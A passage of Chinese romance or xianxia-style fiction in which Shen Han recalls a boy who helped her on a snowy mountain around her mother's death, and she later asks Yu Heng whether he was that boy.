恍惚间,这场大雪似乎没那么冷了。 少年的嘴一张一合,似在说着什么。 风雪太大,沈寒听不清,可她从中读出,他在说:“别怕”。 巨蟒身后是一处蛇窝,沈寒真的找到了蛇蜕。可她受足了惊吓,没有力气走下山,少年便俯身将她背了回去。 两个冻僵的孩子赶回苓庐时,已是入夜。 可苓庐一片肃穆,李飞云垂首哀戚地站在院中,似在等她。 沈寒察觉到什么,还没问出口,眼泪先滚了下来。拼尽性命找回的蛇蜕也掉到了地上。 她的母亲去世了,从此以后,她孤身一人,再无人陪伴。 李飞云说,母亲过世前留给她一句话,让她去远在通济县的叔父那里讨生活。 母亲被仓促葬在了夷山之中,沈寒几欲崩溃,想到李飞云冷若寒冰的神情,赌气收拾了行囊,决议清晨离去。 下山的路上,少年拦在山门前。 “我去求求宗师,若是不成,你便藏在我的院子里。” 刚刚丧母,沈寒无心多做纠缠,只是望着少年,决然道:“不需要。” 她放了句狠话,推开少年拉她的手离去了。 多年后,沈寒才知家门不幸的真相,却把夷山上的是是非非淡忘了。如今想来,那少年颇有天资,一定是郁珩。 所以他所做的一切,都是因为经年旧事生出的些许怜悯吗? 沈寒不需要怜悯,她不甘地确认,“昌和九年初,那个少年,是你吗?” 郁珩苦笑,“你记性不好,眼力也不好。” “少年若不是你,难不成你是那大白蟒?” “闭嘴。” “哦,好。师兄教训的是。” 他没有确认,也没有否认,沈寒却已了然于心。她温顺地趴在郁珩身上,看着春日温和的夜色。 她想,自己还是阴差阳错在夷山安身。凛冬会过去,积雪也会消融,母亲看到如今的她,也会觉得安心吧?